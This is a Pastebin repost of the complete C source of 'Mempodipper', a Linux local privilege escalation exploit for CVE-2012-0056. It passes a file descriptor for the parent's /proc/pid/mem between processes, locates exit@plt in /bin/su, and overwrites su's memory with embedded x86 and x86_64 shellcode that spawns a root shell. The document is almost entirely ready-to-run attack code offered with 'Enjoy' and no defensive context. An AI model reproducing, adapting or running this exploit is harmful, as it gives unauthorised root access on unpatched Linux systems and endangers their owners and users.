unknowns-mm

Mempodipper.c

Sep 5th, 2016
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  *Name : Mempodipper.c
  3.  *Kernal Version : x86_64 Linux >=2.6.39
  4.  *CVE : CVE-2012-0056
  5.  
  6.  * Mempodipper
  7.  * by zx2c4
  8.  *
  9.  * Linux Local Root Exploit
  10.  *
  11.  * Rather than put my write up here, per usual, this time I've put it
  12.  * in a rather lengthy blog post: http://blog.zx2c4.com/749
  13.  *
  14.  * Enjoy.
  15.  *
  16.  * - zx2c4
  17.  * Jan 21, 2012
  18.  *
  19.  * CVE-2012-0056
  20.  */
  21.  
  22. #define _LARGEFILE64_SOURCE
  23. #include <stdio.h>
  24. #include <string.h>
  25. #include <stdlib.h>
  26. #include <sys/types.h>
  27. #include <sys/stat.h>
  28. #include <sys/socket.h>
  29. #include <sys/un.h>
  30. #include <fcntl.h>
  31. #include <unistd.h>
  32. #include <limits.h>
  33.  
  34. int send_fd(int sock, int fd)
  35. {
  36.     char buf[1];
  37.     struct iovec iov;
  38.     struct msghdr msg;
  39.     struct cmsghdr *cmsg;
  40.     int n;
  41.     char cms[CMSG_SPACE(sizeof(int))];
  42.  
  43.     buf[0] = 0;
  44.     iov.iov_base = buf;
  45.     iov.iov_len = 1;
  46.  
  47.     memset(&msg, 0, sizeof msg);
  48.     msg.msg_iov = &iov;
  49.     msg.msg_iovlen = 1;
  50.     msg.msg_control = (caddr_t)cms;
  51.     msg.msg_controllen = CMSG_LEN(sizeof(int));
  52.  
  53.     cmsg = CMSG_FIRSTHDR(&msg);
  54.     cmsg->cmsg_len = CMSG_LEN(sizeof(int));
  55.     cmsg->cmsg_level = SOL_SOCKET;
  56.     cmsg->cmsg_type = SCM_RIGHTS;
  57.     memmove(CMSG_DATA(cmsg), &fd, sizeof(int));
  58.  
  59.     if ((n = sendmsg(sock, &msg, 0)) != iov.iov_len)
  60.         return -1;
  61.     close(sock);
  62.     return 0;
  63. }
  64.  
  65. int recv_fd(int sock)
  66. {
  67.     int n;
  68.     int fd;
  69.     char buf[1];
  70.     struct iovec iov;
  71.     struct msghdr msg;
  72.     struct cmsghdr *cmsg;
  73.     char cms[CMSG_SPACE(sizeof(int))];
  74.    
  75.     iov.iov_base = buf;
  76.     iov.iov_len = 1;
  77.  
  78.     memset(&msg, 0, sizeof msg);
  79.     msg.msg_name = 0;
  80.     msg.msg_namelen = 0;
  81.     msg.msg_iov = &iov;
  82.     msg.msg_iovlen = 1;
  83.  
  84.     msg.msg_control = (caddr_t)cms;
  85.     msg.msg_controllen = sizeof cms;
  86.  
  87.     if ((n = recvmsg(sock, &msg, 0)) < 0)
  88.         return -1;
  89.     if (n == 0)
  90.         return -1;
  91.     cmsg = CMSG_FIRSTHDR(&msg);
  92.     memmove(&fd, CMSG_DATA(cmsg), sizeof(int));
  93.     close(sock);
  94.     return fd;
  95. }
  96.  
  97. int main(int argc, char **argv)
  98. {
  99.     if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'c') {
  100.         char parent_mem[256];
  101.         sprintf(parent_mem, "/proc/%d/mem", getppid());
  102.         printf("[+] Opening parent mem %s in child.\n", parent_mem);
  103.         int fd = open(parent_mem, O_RDWR);
  104.         if (fd < 0) {
  105.             perror("[-] open");
  106.             return 1;
  107.         }
  108.         printf("[+] Sending fd %d to parent.\n", fd);
  109.         send_fd(atoi(argv[2]), fd);
  110.         return 0;
  111.     }
  112.    
  113.     printf("===============================\n");
  114.     printf("=          Mempodipper        =\n");
  115.     printf("=           by zx2c4          =\n");
  116.     printf("=         Jan 21, 2012        =\n");
  117.     printf("===============================\n\n");
  118.    
  119.     int sockets[2];
  120.     printf("[+] Opening socketpair.\n");
  121.     if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
  122.         perror("[-] socketpair");
  123.         return -1;
  124.     }
  125.     if (fork()) {
  126.         printf("[+] Waiting for transferred fd in parent.\n");
  127.         int fd = recv_fd(sockets[1]);
  128.         printf("[+] Received fd at %d.\n", fd);
  129.         if (fd < 0) {
  130.             perror("[-] recv_fd");
  131.             return -1;
  132.         }
  133.         printf("[+] Assigning fd %d to stderr.\n", fd);
  134.         dup2(2, 6);
  135.         dup2(fd, 2);
  136.  
  137.         unsigned long address;
  138.         if (argc > 2 && argv[1][0] == '-' && argv[1][1] == 'o')
  139.             address = strtoul(argv[2], NULL, 16);
  140.         else {
  141.             printf("[+] Reading su for exit@plt.\n");
  142.             // Poor man's auto-detection. Do this in memory instead of relying on objdump being installed.
  143.             FILE *command = popen("objdump -d /bin/su|grep '<exit@plt>'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\\([^0]*\\)/0x\\1/'", "r");
  144.             char result[32];
  145.             result[0] = 0;
  146.             fgets(result, 32, command);
  147.             pclose(command);
  148.             address = strtoul(result, NULL, 16);
  149.             if (address == ULONG_MAX || !address) {
  150.                 printf("[-] Could not resolve /bin/su. Specify the exit@plt function address manually.\n");
  151.                 printf("[-] Usage: %s -o ADDRESS\n[-] Example: %s -o 0x402178\n", argv[0], argv[0]);
  152.                 return 1;
  153.             }
  154.             printf("[+] Resolved exit@plt to 0x%lx.\n", address);
  155.         }
  156.         printf("[+] Calculating su padding.\n");
  157.         FILE *command = popen("/bin/su this-user-does-not-exist 2>&1", "r");
  158.         char result[256];
  159.         result[0] = 0;
  160.         fgets(result, 256, command);
  161.         pclose(command);
  162.         unsigned long su_padding = (strstr(result, "this-user-does-not-exist") - result) / sizeof(char);
  163.         unsigned long offset = address - su_padding;
  164.         printf("[+] Seeking to offset 0x%lx.\n", offset);
  165.         lseek64(fd, offset, SEEK_SET);
  166.        
  167. #if defined(__i386__)
  168.         // See shellcode-32.s in this package for the source.
  169.         char shellcode[] =
  170.             "\x31\xdb\xb0\x17\xcd\x80\x31\xdb\xb0\x2e\xcd\x80\x31\xc9\xb3"
  171.             "\x06\xb1\x02\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x6e\x2f\x73\x68"
  172.             "\x68\x2f\x2f\x62\x69\x89\xe3\x31\xd2\x66\xba\x2d\x69\x52\x89"
  173.             "\xe0\x31\xd2\x52\x50\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd"
  174.             "\x80";
  175. #elif defined(__x86_64__)
  176.         // See shellcode-64.s in this package for the source.
  177.         char shellcode[] =
  178.             "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31\xff\xb0\x6a\x0f\x05\x40"
  179.             "\xb7\x06\x40\xb6\x02\xb0\x21\x0f\x05\x48\xbb\x2f\x2f\x62\x69"
  180.             "\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xdb"
  181.             "\x66\xbb\x2d\x69\x53\x48\x89\xe1\x48\x31\xc0\x50\x51\x57\x48"
  182.             "\x89\xe6\x48\x31\xd2\xb0\x3b\x0f\x05";
  183.  
  184. #else
  185. #error "That platform is not supported."
  186. #endif
  187.         printf("[+] Executing su with shellcode.\n");
  188.         execl("/bin/su", "su", shellcode, NULL);
  189.     } else {
  190.         char sock[32];
  191.         sprintf(sock, "%d", sockets[0]);
  192.         printf("[+] Executing child from child fork.\n");
  193.         execl("/proc/self/exe", argv[0], "-c", sock, NULL);
  194.     }
  195. }
Add Comment
Please, Sign In to add comment